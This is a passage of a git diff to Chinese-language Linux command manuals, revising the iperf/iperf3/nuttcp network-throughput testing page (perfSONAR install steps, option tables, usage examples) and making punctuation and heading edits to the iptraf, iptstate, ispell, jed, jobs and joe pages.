+perfsonar-centralmanagement捆绑包独立于上面的捆绑包,并安装集中管理大量主机并显示其结果所需的工具。这包括esmond测量存档,用于发布 +任务模板的工具和用于显示结果的仪表板软件(MaDDash) +comment +yum install -y perfsonar-centralmanagement +``` + ## 网络吞吐量工具比较 * [iperf2](https://sourceforge.net/projects/iperf2/) * [iperf3](https://software.es.net/iperf) * [nuttcp](http://nuttcp.net/) +建议使用iperf3,而不要使用较早版本的iperf2,因为TCP重传和CWND报告对于故障排除非常有用。iperf2.0.8及更高版本现在通过'-e'标志支持此功能 + 注意:三个工具都在开发阶段,此处有可能随着时间推移有所变动未及时修改 | | | 工具特征比较 | | | | :------: | :------: | :------: | :------: | :------: | | 版本 | iperf2.0.5 | iperf2.0.8 + | iperf3.1.5 + | nuttcp 8.x | -|  多线程 | -P | -P | | | -|  JSON输出 | | | --json | | -|  CSV输出 | -y | -y | | | +| 多线程 | -P | -P | | | +| JSON输出 | | | --json | | +| CSV输出 | -y | -y | | | | FQ-based pacing | | | --fq-rate | | -|  多播支持 | --ttl | --ttl | | -m | -|  双向测试 | --dualtest | --dualtest | | | +| 多播支持 | --ttl | --ttl | | -m | +| 双向测试 | --dualtest | --dualtest | | | | 转发和CWND报告 | | -e | 默认开启 | -br/-bc  | | 跳过TCP慢启动 | | | --omit | | | 设置TCP拥塞控制alg | -Z | -Z | --congestion | | @@ -34,16 +74,19 @@ iperf可以测试TCP和UDP带宽质量。iperf可以测量最大TCP带宽,具 | UDP burst模式 | | | | -Ri#/# | | MS Windows支持 | 是 | 是 | 没有 | 没有 | -## 用途建议如下 +### 用途建议如下 * 将iperf2用于并行流,双向或基于MS Windows的测试 * 使用nuttcp进行高速UDP测试 * 否则使用iperf3。特别是如果你想要详细的JSON输出 - -## iperf3常见问题 +### iperf2和iperf3常见问题 ```markdown +# iperf2 +对于800Mbps以上的UDP,iperf 2.0.5结果不一致。此问题已在iperf2.0.8中修复。此版本包括新的“ -e”选项,以输出TCP重传和CWND信息 + +# iperf3 iperf3是单线程的,而iperf2是多线程的。建议将iperf2用于并行流,将iperf3用于并行流参考: https://fasterdata.es.net/performance-testing/network-troubleshooting-tools/iperf/multi-stream-iperf3/ @@ -52,136 +95,153 @@ UDP速率低于100Kbps时,需要减少默认数据包长度,使用-l100选 ``` -```markdown +## iperf选项 +```markdown 客户端与服务器共用选项 --f, --format [bkmaBKMA] 格式化带宽数输出。支持的格式有: 'b' = bits/sec 'B' = Bytes/sec 'k' = Kbits/sec 'K' = KBytes/sec 'm' = Mbits/sec 'M' = MBytes/sec 'g' = Gbits/sec 'G' = GBytes/sec 'a' = adaptive bits/sec 'A' = adaptive Bytes/sec 自适应格式是kilo-和mega-二者之一。除了带宽之外的字段都输出为字节,除非指定输出的格式,默认的参数是a。 注意:在计算字节byte时,Kilo = 1024, Mega = 1024^2,Giga = 1024^3。通常,在网络中,Kilo = 1000, Mega = 1000^2, and Giga = 1000^3,所以,Iperf也按此来计算比特(位)。如果这些困扰了你,那么请使用-f b参数,然后亲自计算一下。 --i, --interval # 设置每次报告之间的时间间隔,单位为秒。如果设置为非零值,就会按照此时间间隔输出测试报告。默认值为零。 --l, --len #[KM] 设置读写缓冲区的长度。TCP方式默认为8KB,UDP方式默认为1470字节。 +-f, --format [bkmaBKMA] 格式化带宽数输出。支持的格式有: 'b' = bits/sec 'B' = Bytes/sec 'k' = Kbits/sec 'K' = KBytes/sec 'm' = Mbits/sec 'M' = MBytes/sec 'g' = Gbits/sec 'G' = GBytes/sec 'a' = adaptive bits/sec 'A' = adaptive Bytes/sec 自适应格式是kilo-和mega-二者之一。除了带宽之外的字段都输出为字节,除非指定输出的格式,默认的参数是a。 注意:在计算字节byte时,Kilo = 1024, Mega = 1024^2,Giga = 1024^3。通常,在网络中,Kilo = 1000, Mega = 1000^2, and Giga = 1000^3,所以,Iperf也按此来计算比特(位)。如果这些困扰了你,那么请使用-f b参数,然后亲自计算一下 +-i, --interval # 设置每次报告之间的时间间隔,单位为秒。如果设置为非零值,就会按照此时间间隔输出测试报告。默认值为零 +-l, --len #[KM] 设置读写缓冲区的长度。TCP方式默认为8KB,UDP方式默认为1470字节 -m, --print_mss 输出TCP MSS值(通过TCP_MAXSEG支持)。MSS值一般比MTU值小40字节。通常情况 --p, --port # 设置端口,与服务器端的监听端口一致。默认是5001端口,与ttcp的一样。 --u, --udp 使用UDP方式而不是TCP方式。参看-b选项。 --w, --window #[KM] 设置套接字缓冲区为指定大小。对于TCP方式,此设置为TCP窗口大小。对于UDP方式,此设置为接受UDP数据包的缓冲区大小,限制可以接受数据包的最大值。 --B, --bind host 绑定到主机的多个地址中的一个。对于客户端来说,这个参数设置了出栈接口。对于服务器端来说,这个参数设置入栈接口。这个参数只用于具有多网络接口的主机。在Iperf的UDP模式下,此参数用于绑定和加入一个多播组。使用范围在224.0.0.0至239.255.255.255的多播地址。参考-T参数。 --C, --compatibility 与低版本的Iperf使用时,可以使用兼容模式。不需要两端同时使用兼容模式,但是强烈推荐两端同时使用兼容模式。某些情况下,使用某些数据流可以引起1.7版本的服务器端崩溃或引起非预期的连接尝试。 --M, --mss #ip头减去40字节。在以太网中,MSS值 为1460字节(MTU1500字节)。许多操作系统不支持此选项。 --N, --nodelay 设置TCP无延迟选项,禁用Nagle's运算法则。通常情况此选项对于交互程序,例如telnet,是禁用的。 --V (from v1.6 or higher) 绑定一个IPv6地址。 服务端:$ iperf -s –V 客户端:$ iperf -c -V 注意:在1.6.3或更高版本中,指定IPv6地址不需要使用-B参数绑定,在1.6之前的版本则需要。在大多数操作系统中,将响应IPv4客户端映射的IPv4地址。 +-p, --port # 设置端口,与服务器端的监听端口一致。默认是5001端口,与ttcp的一样 +-u, --udp 使用UDP方式而不是TCP方式。参看-b选项 +-w, --window #[KM] 设置套接字缓冲区为指定大小。对于TCP方式,此设置为TCP窗口大小。对于UDP方式,此设置为接受UDP数据包的缓冲区大小,限制可以接受数据包的最大值 +-B, --bind host 绑定到主机的多个地址中的一个。对于客户端来说,这个参数设置了出栈接口。对于服务器端来说,这个参数设置入栈接口。这个参数只用于具有多网络接口的主机。在Iperf的UDP模式下,此参数用于绑定和加入一个多播组。使用范围在224.0.0.0至239.255.255.255的多播地址。参考-T参数 +-C, --compatibility 与低版本的Iperf使用时,可以使用兼容模式。不需要两端同时使用兼容模式,但是强烈推荐两端同时使用兼容模式。某些情况下,使用某些数据流可以引起1.7版本的服务器端崩溃或引起非预期的连接尝试 +-M, --mss #ip头减去40字节。在以太网中,MSS值 为1460字节(MTU1500字节)。许多操作系统不支持此选项 +-N, --nodelay 设置TCP无延迟选项,禁用Nagle's运算法则。通常情况此选项对于交互程序,例如telnet,是禁用的 +-V (from v1.6 or higher) 绑定一个IPv6地址。 服务端:$ iperf -s –V 客户端:$ iperf -c -V 注意:在1.6.3或更高版本中,指定IPv6地址不需要使用-B参数绑定,在1.6之前的版本则需要。在大多数操作系统中,将响应IPv4客户端映射的IPv4地址 服务器端专用选项 -s, --server Iperf服务器模式 --D (v1.2或更高版本) Unix平台下Iperf作为后台守护进程运行。在Win32平台下,Iperf将作为服务运行。 --R(v1.2或更高版本,仅用于Windows) 卸载Iperf服务(如果它在运行)。 +-D (v1.2或更高版本) Unix平台下Iperf作为后台守护进程运行。在Win32平台下,Iperf将作为服务运行 +-R(v1.2或更高版本,仅用于Windows) 卸载Iperf服务(如果它在运行) -o(v1.2或更高版本,仅用于Windows) 重定向输出到指定文件 --c, --client host 如果Iperf运行在服务器模式,并且用-c参数指定一个主机,那么Iperf将只接受指定主机的连接。此参数不能工作于UDP模式。 --P, --parallel # 服务器关闭之前保持的连接数。默认是0,这意味着永远接受连接。 +-c, --client host 如果Iperf运行在服务器模式,并且用-c参数指定一个主机,那么Iperf将只接受指定主机的连接。此参数不能工作于UDP模式 +-P, --parallel # 服务器关闭之前保持的连接数。默认是0,这意味着永远接受连接 客户端专用选项 --b, --bandwidth #[KM] UDP模式使用的带宽,单位bits/sec。此选项与-u选项相关。默认值是1 Mbit/sec。 --c, --client host 运行Iperf的客户端模式,连接到指定的Iperf服务器端。 --d, --dualtest 运行双测试模式。这将使服务器端反向连接到客户端,使用-L 参数中指定的端口(或默认使用客户端连接到服务器端的端口)。这些在操作的同时就立即完成了。如果你想要一个交互的测试,请尝试-r参数。 --n, --num #[KM] 传送的缓冲器数量。通常情况,Iperf按照10秒钟发送数据。-n参数跨越此限制,按照指定次数发送指定长度的数据,而不论该操作耗费多少时间。参考-l与-t选项。 --r, --tradeoff 往复测试模式。当客户端到服务器端的测试结束时,服务器端通过-l选项指定的端口(或默认为客户端连接到服务器端的端口),反向连接至客户端。当客户端连接终止时,反向连接随即开始。如果需要同时进行双向测试,请尝试-d参数。 --t, --time # 设置传输的总时间。Iperf在指定的时间内,重复的发送指定长度的数据包。默认是10秒钟。参考-l与-n选项。 --L, --listenport # 指定服务端反向连接到客户端时使用的端口。默认使用客户端连接至服务端的端口。 --P, --parallel # 线程数。指定客户端与服务端之间使用的线程数。默认是1线程。需要客户端与服务器端同时使用此参数。 +-b, --bandwidth #[KM] UDP模式使用的带宽,单位bits/sec。此选项与-u选项相关。默认值是1 Mbit/sec +-c, --client host 运行Iperf的客户端模式,连接到指定的Iperf服务器端 +-d, --dualtest 运行双测试模式。这将使服务器端反向连接到客户端,使用-L 参数中指定的端口(或默认使用客户端连接到服务器端的端口)。这些在操作的同时就立即完成了。如果你想要一个交互的测试,请尝试-r参数 +-n, --num #[KM] 传送的缓冲器数量。通常情况,Iperf按照10秒钟发送数据。-n参数跨越此限制,按照指定次数发送指定长度的数据,而不论该操作耗费多少时间。参考-l与-t选项 +-r, --tradeoff 往复测试模式。当客户端到服务器端的测试结束时,服务器端通过-l选项指定的端口(或默认为客户端连接到服务器端的端口),反向连接至客户端。当客户端连接终止时,反向连接随即开始。如果需要同时进行双向测试,请尝试-d参数 +-t, --time # 设置传输的总时间。Iperf在指定的时间内,重复的发送指定长度的数据包。默认是10秒钟。参考-l与-n选项 +-L, --listenport # 指定服务端反向连接到客户端时使用的端口。默认使用客户端连接至服务端的端口 +-P, --parallel # 线程数。指定客户端与服务端之间使用的线程数。默认是1线程。需要客户端与服务器端同时使用此参数 -S, --tos # 出栈数据包的服务类型。许多路由器忽略TOS字段。你可以指定这个值,使用以"0x"开始的16进制数,或以"0"开始的8进制数或10进制数。 例如,16进制'0x10' = 8进制'020' = 十进制'16'。TOS值1349就是: IPTOS_LOWDELAY minimize delay 0x10 IPTOS_THROUGHPUT maximize throughput 0x08 IPTOS_RELIABILITY maximize reliability 0x04 IPTOS_LOWCOST minimize cost 0x02 --T, --ttl # 出栈多播数据包的TTL值。这本质上就是数据通过路由器的跳数。默认是1,链接本地。 +-T, --ttl # 出栈多播数据包的TTL值。这本质上就是数据通过路由器的跳数。默认是1,链接本地 -F (from v1.2 or higher) 使用特定的数据流测量带宽,例如指定的文件。 $ iperf -c -F --I (from v1.2 or higher) 与-F一样,由标准输入输出文件输入数据。 +-I (from v1.2 or higher) 与-F一样,由标准输入输出文件输入数据 ``` -## 实例 - -```bash -# 通过perfSONAR安装,最好设置tcp拥塞算法为net.ipv4.tcp_congestion_control = htcp -yum install -y http://software.internet2.edu/rpms/el7/x86_64/latest/packages/perfSONAR-repo-0.9-1.noarch.rpm -yum install -y perfsonar-tools # 仅包含运行按需测量所需的命令行客户端,owamp twamp nuttcp iperf3 iperf +## iperf3选项 -: << comment -包括perfsonar-tools包中的所有内容以及以下所需的软件: -* 定期自动运行测试 -* 参与集中管理的测试 -* 发布测量节点的存在 -comment -yum install -y perfsonar-testpoint +```markdown -: << comment -perfsonar-core bundle install包括perfsonar-testpoint bundle install中的所有内容以及用于存储结果的esmond测量存档。这对于希望在 -本地存储结果但不希望安装perfSONAR Toolkit的专用测量主机来说非常理想。换句话说,他们不想使用Web界面,并希望灵活地选择默认安全性和调整设置 -comment -yum install -y perfsonar-core +``` -: << comment -包含perfsonar-core bundle中的所有内容: -用于管理测试的Web界面 -脚本用于应用系统范围的默认调整和安全设置 -此捆绑包适用于那些希望安装perfSONAR Toolkit ISO中包含的全套工具但在现有Linux系统上的工具包 -comment -yum install -y perfsonar-toolkit +## iperf和iperf3基本命令对比 -: << comment -perfsonar-centralmanagement捆绑包独立于上面的捆绑包,并安装集中管理大量主机并显示其结果所需的工具。这包括esmond测量存档,用于发布 -任务模板的工具和用于显示结果的仪表板软件(MaDDash) -comment -yum install -y perfsonar-centralmanagement +| | | +| :------: | :------: | +| 服务器端 | | +| iperf -s / iperf3 -s | 在默认端口上启动服务器 | +| iperf -s -w 32M -D / iperf3 -s -D | 使用较大的TCP窗口并以守护程序模式启动服务器 | +| iperf -i1 -u -s -p 5003 / iperf3 -s -p 5003 | 在端口5003上启动UDP服务器,并给出1秒的间隔报告。
请注意,对于iperf3,-u选项从客户端传递到服务器 | +| 客户端 | | +| iperf/iperf3 -c remotehost -i 1 -t 30 | 运行30秒测试,每1秒给出一次结果 | +| iperf/iperf3 -c remotehost -i 1 -t 20 -r | 从remotehost到localhost运行测试 | +| iperf/iperf3 -c remotehost -i 1 -t 20 -w 32M -P 4 | 使用4个并行流和32M TCP缓冲区运行测试 | +| iperf/iperf3 -c remotehost -u -i 1 -b 200M | 运行200 Mbps UDP测试 | ---logfile选项。如何实时查看文件输出?使用--forceflush标志。 +iperf3添加了许多其他功能。例如:-i模式现在报告TCP重传信息(默认情况下处于启用状态),而详细模式提供了大量有关CPU使用率的有用信息等 +新选项包括如下: -iperf -u -s # 带宽测试通常采用UDP模式,因为能测出极限带宽、时延抖动、丢包率。在进行测试时,首先以链路理论带宽作为数据发送速率进行测试, -# 例如,从客户端到服务器之间的链路的理论带宽为100Mbps,先用`-b 100M`进行测试,然后根据测试结果(包括实际带宽,时延抖动和丢包率),再以 -# 实际带宽作为数据发送速率进行测试,会发现时延抖动和丢包率比第一次好很多,重复测试几次,就能得出稳定的实际带宽。 +| | | +| :------: | :------: | +| 客户端 | 新iperf3选项命令 | +| iperf3 -c remotehost -i.5 -0 2 | 收集结果之前,请运行测试2秒钟,以完成TCP慢启动。(省略模式) | +| iperf3 -Z -c remotehost | 将sendfile()系统调用用于“零复制”模式。这会在较旧的硬件上使用更少的CPU | +| iperf3 -c 192.168.12.12 -T s1 & iperf3 -c 192.168.12.13 -T s2 | 一次对多个接口运行测试,并标记行以指示哪个测试是哪个 | +| iperf3 -c remotehost -J | 以JSON格式输出结果,以便于分析 | +| iperf3 -A 4,4 -c remotehost | 设置发送方和接收方的CPU关联性(核心从0开始编号),
这与在客户端和服务器上执行“numactl -C 4 iperf3”具有相同的影响 | +| iperf3 -c 10.20.1.20 -A2,2 -T "1" & ; iperf3 -c 10.20.1.20 -p 5400 -A3,3 -T "2" & | 在2个不同的内核上运行2个流,
并使用“ -T”标志标记每个流 | - **UDP模式** +iperf3通常用于衡量内存对内存的性能,但是您也可以使用最新版iperf3的-F选项来确定网络或磁盘是否是瓶颈 -服务器端: +```bash +iperf3 -s # server端执行此命令 +iperf3 -c testhost -i1 # 测试内存到内存(客户端)[传输带宽测试] -``` +iperf3 -s # server端执行此命令 +iperf3 -c testhost -i1 -F filename # 磁盘到内存(客户端)[磁盘读取测试,当吞吐量比上门测试慢时说明受磁盘限制而不是网络瓶颈] -客户端: +iperf3 -s -F filename # server端执行此命令 +iperf3 -c testhost -i1 -t 40 # 测试内存到磁盘(客户端)[磁盘写入测试,对于磁盘写测试,利用-t选项运行更长的测试来排除网络缓冲问题] -``` -iperf -u -c 192.168.1.1 -b 100M -t 60 -``` +# 最慢的测试结果将显示瓶颈,值得注意的是:第二次运行时,文件已经被缓存,需要以root用户执行以下命令 +sync;echo 3> /proc/sys/vm/drop_caches -在udp模式下,以100Mbps为数据发送速率,客户端到服务器192.168.1.1上传带宽测试,测试时间为60秒。 +: << comment +# 在40Gbps及以上的高速主机使用iperf3测试 +iperf3 -s -p 5101&; iperf3 -s -p 5102&; iperf3 -s -p 5103 & # 服务端开启多个进程 +# 然后运行多个客户端,使用-T选项标记输出 +iperf3 -c hostname -T s1 -p 5101 &; +iperf3 -c hostname -T s2 -p 5102 &; +iperf3 -c hostname -T s3 -p 5103 &; + +# 40或100G主机参考Linux主机调整部分,TCP默认自动调整参数可能不能容纳40G,并且尝试使用-w选项将窗口设置的更大(如128M),必须检查IRQ设置 +# 详细参考:https://fasterdata.es.net/host-tuning/linux/100g-tuning/ +comment -``` -iperf -u -c 192.168.1.1 -b 5M -P 30 -t 60 +# iperf3使用--logfile选项时,实时查看文件输出,使用--forceflush标志 ``` -客户端同时向服务器端发起30个连接线程,以5Mbps为数据发送速率。 +## nuttcp -``` -iperf -u -c 192.168.1.1 -b 100M -d -t 60 -``` +```bash +nuttcp -S # 服务器端执行此命令 +nuttcp -i1 server_hostname # 客户端 -以100M为数据发送速率,进行上下行带宽测试。 +nuttcp -i1 -r server_hostname # 测试相反的方向 - **TCP模式** +# UDP突发模式,从6.2.8开始支持udp的突发模式,对于查找没有足够缓冲的受网络设备约束的路径很有用 +nuttcp -u -Ri300m/20 -i 1 -T5 nettest.lbl.gov # 20个数据包的突发发送300 Mbps UDP,持续5秒 -服务器端: +nuttcp -l8972 -T30 -u -w4m -Ri300m/100 -i1 server_hostname -``` -iperf -s ``` -客户端: +## 其他网络性能测试工具 -``` -iperf -c 192.168.1.1 -t 60 -``` +```markdown +# Scamper是结合了路由跟踪和MTU发现 +https://www.caida.org/tools/measurement/scamper/ -在tcp模式下,客户端到服务器192.168.1.1上传带宽测试,测试时间为60秒。 +# owing是一种检查由于拥塞或不良光纤造成的数据包丢失的简单工具(包含在perfsonar-tools中) +owping -c 10000 -i .01 hostname # 10 ms的间隔发送10000个测试数据包 + +https://fasterdata.es.net/performance-testing/network-troubleshooting-tools/tcpdump-tcptrace/ -``` -iperf -c 192.168.1.1 -P 30 -t 60 ``` -客户端同时向服务器端发起30个连接线程。 +## 实例 +```bash +# 网络性能故障排除参考:https://fasterdata.es.net/performance-testing/troubleshooting/ + +iperf -u -s # 带宽测试通常采用UDP模式,因为能测出极限带宽、时延抖动、丢包率。在进行测试时,首先以链路理论带宽作为数据发送速率进行测试 +# 例如,从客户端到服务器之间的链路的理论带宽为100Mbps,先用`-b 100M`进行测试,然后根据测试结果(包括实际带宽,时延抖动和丢包率),再以 +# 实际带宽作为数据发送速率进行测试,会发现时延抖动和丢包率比第一次好很多,重复测试几次,就能得出稳定的实际带宽 + +iperf -u -c 192.168.1.1 -b 100M -t 60 # udp模式下,以100Mbps数据发送速率,客户端到服务器192.168.1.1上传带宽测试,测试时间60秒 +iperf -u -c 192.168.1.1 -b 5M -P 30 -t 60 # 客户端同时向服务器端发起30个连接线程,以5Mbps为数据发送速率 +iperf -u -c 192.168.1.1 -b 100M -d -t 60 # 以100M为数据发送速率,进行上下行带宽测试 + +iperf -c 192.168.1.1 -t 60 # 在tcp模式下,客户端到服务器192.168.1.1上传带宽测试,测试时间为60秒 +iperf -c 192.168.1.1 -p 80 -P 30 -t 60 # -P客户端同时向服务器端发起30个连接线程,-p代表端口 +iperf -c 192.168.1.1 -d -t 60 # 进行上下行带宽测试 ``` -iperf -c 192.168.1.1 -d -t 60 -``` -进行上下行带宽测试。 + diff --git a/Linux_man_cn/iptraf.md b/Linux_man_cn/iptraf.md index 2bd5212..4ae7b51 100644 --- a/Linux_man_cn/iptraf.md +++ b/Linux_man_cn/iptraf.md @@ -5,9 +5,9 @@ iptraf ## 说明 -**iptraf命令** 可以实时地监视网卡流量,可以生成网络协议数据包信息、以太网信息、网络节点状态和ip校验和错误等信息。 +**iptraf命令** 可以实时地监视网卡流量,可以生成网络协议数据包信息、以太网信息、网络节点状态和ip校验和错误等信息 -### 语法 +## 选项 ``` iptraf(选项) @@ -16,16 +16,16 @@ iptraf(选项) ``` --i网络接口:立即在指定网络接口上开启IP流量监视; --g:立即开始生成网络接口的概要状态信息; --d网络接口:在指定网络接口上立即开始监视明细的网络流量信息; --s网络接口:在指定网络接口上立即开始监视TCP和UDP网络流量信息; --z网络接口:在指定网络接口上显示包计数; --l网络接口:在指定网络接口上立即开始监视局域网工作站信息; --t时间:指定iptraf指令监视的时间; --B;将标注输出重新定向到“/dev/null”,关闭标注输入,将程序作为后台进程运行; --f:清空所有计数器; --h:显示帮助信息。 +-i网络接口:立即在指定网络接口上开启IP流量监视 +-g:立即开始生成网络接口的概要状态信息 +-d网络接口:在指定网络接口上立即开始监视明细的网络流量信息 +-s网络接口:在指定网络接口上立即开始监视TCP和UDP网络流量信息 +-z网络接口:在指定网络接口上显示包计数 +-l网络接口:在指定网络接口上立即开始监视局域网工作站信息 +-t时间:指定iptraf指令监视的时间 +-B;将标注输出重新定向到“/dev/null”,关闭标注输入,将程序作为后台进程运行 +-f:清空所有计数器 +-h:显示帮助信息 ``` diff --git a/Linux_man_cn/iptstate.md b/Linux_man_cn/iptstate.md index e539379..28ab3e5 100644 --- a/Linux_man_cn/iptstate.md +++ b/Linux_man_cn/iptstate.md @@ -5,9 +5,9 @@ iptstate ## 说明 -**iptstate命令** 以top指令类似的风格时显示Linux内核中iptables的工作状态。 +**iptstate命令** 以top指令类似的风格时显示Linux内核中iptables的工作状态 -### 语法 +## 选项 ``` iptstate(选项) @@ -16,15 +16,15 @@ iptstate(选项) ``` --b:指定输出信息的排序规则; --d:不动态地改变窗口大小; --f:过滤本地回送信息; --l:将ip地址解析为域名; --L:隐藏于DNS查询相关状态; --r:指定刷新屏幕的频率; --R:反序排列; --s:单次运行模式; --t:显示汇总信息。 +-b:指定输出信息的排序规则 +-d:不动态地改变窗口大小 +-f:过滤本地回送信息 +-l:将ip地址解析为域名 +-L:隐藏于DNS查询相关状态 +-r:指定刷新屏幕的频率 +-R:反序排列 +-s:单次运行模式 +-t:显示汇总信息 ``` diff --git a/Linux_man_cn/ispell.md b/Linux_man_cn/ispell.md index 5cf8678..005a101 100644 --- a/Linux_man_cn/ispell.md +++ b/Linux_man_cn/ispell.md @@ -5,9 +5,9 @@ ispell ## 说明 -**ispell命令** 用于检查文件中出现的拼写错误。 +**ispell命令** 用于检查文件中出现的拼写错误 -### 语法 +## 选项 ``` ispell(参数) @@ -15,6 +15,6 @@ ispell(参数) ### 参数 -文件:指定要进行拼写检查的文件。 +文件:指定要进行拼写检查的文件 diff --git a/Linux_man_cn/jed.md b/Linux_man_cn/jed.md index bcf24f3..87dc42a 100644 --- a/Linux_man_cn/jed.md +++ b/Linux_man_cn/jed.md @@ -5,9 +5,9 @@ jed ## 说明 -**jed命令** 是由Slang所开发,其主要用用途是编辑程序的源代码。它支持彩色语法加亮显示,可以模拟emacs,EDT,wordstar和Brief编辑器。 +**jed命令** 是由Slang所开发,其主要用用途是编辑程序的源代码。它支持彩色语法加亮显示,可以模拟emacs,EDT,wordstar和Brief编辑器 -### 语法 +## 选项 ``` jed(选项)(参数) @@ -16,20 +16,20 @@ jed(选项)(参数) ``` --2:显示上下两个编辑区; --batch:以批处理模式来执行; --f<函数>:执行Slang函数; --g<行数>:移到缓冲区中指定的行数; --i<文件>:将指定的文件载入缓冲区; --n:不要载入jed.rc配置文件; --s<字符串>:查找并移到指定的字符串。 +-2:显示上下两个编辑区 +-batch:以批处理模式来执行 +-f<函数>:执行Slang函数 +-g<行数>:移到缓冲区中指定的行数 +-i<文件>:将指定的文件载入缓冲区 +-n:不要载入jed.rc配置文件 +-s<字符串>:查找并移到指定的字符串 ``` ### 参数 -文件:指定待编辑的文件列表。 +文件:指定待编辑的文件列表 -### 实例 +## 实例 以上下两个编辑区的方式,开启 mysource.c 原始代码文件。若要切换编辑区,可利用稍后介绍的命令,开启操作命令,开启功能表后,按 3 ,再按 2 ,即可切换编辑区: @@ -53,17 +53,17 @@ unsetsetkey ("@\emH", "\eh"); unset_setkey ("@\emy", "\ey"); ``` -可以根据自己的需要修改,也可以简单的注释掉;使用菜单可以用F10键。 +可以根据自己的需要修改,也可以简单的注释掉;使用菜单可以用F10键 -由于Jed可模拟多种编辑器,其各自按键指令也有所不同。这里以模拟 Emacs 为例,说明在编辑器中的操作方法。 +由于Jed可模拟多种编辑器,其各自按键指令也有所不同。这里以模拟 Emacs 为例,说明在编辑器中的操作方法 **文件** ``` -/usr/share/jed/lib/*.sl 这是默认的运行jed slang的文件。 -/usr/share/jed/lib/site.sl 这是默认的启动文件。 -/etc/jed.rc 这是全局系统配置文件。 -~/.jedrc 这是用户配置文件。 +/usr/share/jed/lib/*.sl 这是默认的运行jed slang的文件 +/usr/share/jed/lib/site.sl 这是默认的启动文件 +/etc/jed.rc 这是全局系统配置文件 +~/.jedrc 这是用户配置文件 ``` diff --git a/Linux_man_cn/jobs.md b/Linux_man_cn/jobs.md index 256c966..31e8955 100644 --- a/Linux_man_cn/jobs.md +++ b/Linux_man_cn/jobs.md @@ -5,11 +5,11 @@ jobs ## 说明 -**jobs命令** 用于显示Linux中的任务列表及任务状态,包括后台运行的任务。该命令可以显示任务号及其对应的进程号。其中,任务号是以普通用户的角度进行的,而进程号则是从系统管理员的角度来看的。一个任务可以对应于一个或者多个进程号。 +**jobs命令** 用于显示Linux中的任务列表及任务状态,包括后台运行的任务。该命令可以显示任务号及其对应的进程号。其中,任务号是以普通用户的角度进行的,而进程号则是从系统管理员的角度来看的。一个任务可以对应于一个或者多个进程号 -在Linux系统中执行某些操作时候,有时需要将当前任务暂停调至后台,或有时须将后台暂停的任务重启开启并调至前台,这一序列的操作将会使用到 jobs、bg、和 fg 三个命令以及两个快捷键来完成。 +在Linux系统中执行某些操作时候,有时需要将当前任务暂停调至后台,或有时须将后台暂停的任务重启开启并调至前台,这一序列的操作将会使用到 jobs、bg、和 fg 三个命令以及两个快捷键来完成 -### 语法 +## 选项 ``` jobs(选项)(参数) @@ -18,18 +18,18 @@ jobs(选项)(参数) ``` --l:显示进程号; --p:仅任务对应的显示进程号; --n:显示任务状态的变化; --r:仅输出运行状态(running)的任务; --s:仅输出停止状态(stoped)的任务。 +-l:显示进程号 +-p:仅任务对应的显示进程号 +-n:显示任务状态的变化 +-r:仅输出运行状态(running)的任务 +-s:仅输出停止状态(stoped)的任务 ``` ### 参数 -任务标识号:指定要显示的任务识别号。 +任务标识号:指定要显示的任务识别号 -### 实例 +## 实例 使用jobs命令显示当前系统的任务列表,输入如下命令: @@ -43,8 +43,8 @@ jobs -l #显示当前系统的任务列表 [1] + 1903 运行中 find / -name password & ``` -注意:要得到以上输出信息,必须在执行jobs命令之前执行命令`find / -name password &`。否则,执行jobs命令不会显示任何信息。 +注意:要得到以上输出信息,必须在执行jobs命令之前执行命令`find / -name password &`。否则,执行jobs命令不会显示任何信息 -其中,输出信息的第一列表示任务编号,第二列表示任务所对应的进程号,第三列表示任务的运行状态,第四列表示启动任务的命令。 +其中,输出信息的第一列表示任务编号,第二列表示任务所对应的进程号,第三列表示任务的运行状态,第四列表示启动任务的命令 diff --git a/Linux_man_cn/joe.md b/Linux_man_cn/joe.md index 6f5ea64..3d01a0b 100644 --- a/Linux_man_cn/joe.md +++ b/Linux_man_cn/joe.md @@ -5,9 +5,9 @@ joe ## 说明 -**joe命令** 是一款功能强大的纯文本编辑器,拥有众多编写程序和文本的优良特性。 +**joe命令** 是一款功能强大的纯文本编辑器,拥有众多编写程序和文本的优良特性 -### 语法 +## 选项 ``` joe(选项)(参数) @@ -16,32 +16,32 @@ joe(选项)(参数) ``` --force:强制在最后一行的结尾处加上换行符号; --lines<行数>:设置行数; --lightoff:选取的区块在执行完区块命令后,就会恢复成原来的状态; --autoindent:自动缩排; --backpath:<目录>:指定备份文件的目录; --beep:编辑时,若有错误即发出哔声; --columns<栏位>:设置栏数; --csmode:可执行连续查找模式; --dopadding:是程序跟tty间存在缓冲区; --exask:在程序中,执行“Ctrl+k+x”时,会先确认是否要保存文件; --force:强制在最后一行的结尾处加上换行符号; --help:执行程序时一并显示帮助; --keepup:在进入程序后,画面上方为状态列; --marking:在选取区块时,反白区块会随着光标移动; --mid:当光标移出画面时,即自动卷页,使光标回到中央; --nobackups:不建立备份文件; --nonotice:程序执行时,不显示版本信息; --nosta:程序执行时,不显示状态列; --noxon:尝试取消“Ctrl+s”和“Ctrl+q”键的功能; --orphan:若同时开启一个以上的文件,则其他文件会置于独立的缓冲区,而不会另外开启编辑区; --pg<行数>:按“PageUp”或“PageDown”换页时,所要保留前一页的行数; --skiptop<行数>:不使用屏幕上方指定的行数。 +-force:强制在最后一行的结尾处加上换行符号 +-lines<行数>:设置行数 +-lightoff:选取的区块在执行完区块命令后,就会恢复成原来的状态 +-autoindent:自动缩排 +-backpath:<目录>:指定备份文件的目录 +-beep:编辑时,若有错误即发出哔声 +-columns<栏位>:设置栏数 +-csmode:可执行连续查找模式 +-dopadding:是程序跟tty间存在缓冲区 +-exask:在程序中,执行“Ctrl+k+x”时,会先确认是否要保存文件 +-force:强制在最后一行的结尾处加上换行符号 +-help:执行程序时一并显示帮助 +-keepup:在进入程序后,画面上方为状态列 +-marking:在选取区块时,反白区块会随着光标移动 +-mid:当光标移出画面时,即自动卷页,使光标回到中央 +-nobackups:不建立备份文件 +-nonotice:程序执行时,不显示版本信息 +-nosta:程序执行时,不显示状态列 +-noxon:尝试取消“Ctrl+s”和“Ctrl+q”键的功能 +-orphan:若同时开启一个以上的文件,则其他文件会置于独立的缓冲区,而不会另外开启编辑区 +-pg<行数>:按“PageUp”或“PageDown”换页时,所要保留前一页的行数 +-skiptop<行数>:不使用屏幕上方指定的行数 ``` ### 参数 -文件:指定要编辑的文件。 +文件:指定要编辑的文件 diff --git a/Linux_man_cn/kernelversion.md b/Linux_man_cn/kernelversion.md index 80a2311..3fb27c4 100644 --- a/Linux_man_cn/kernelversion.md +++ b/Linux_man_cn/kernelversion.md @@ -5,9 +5,9 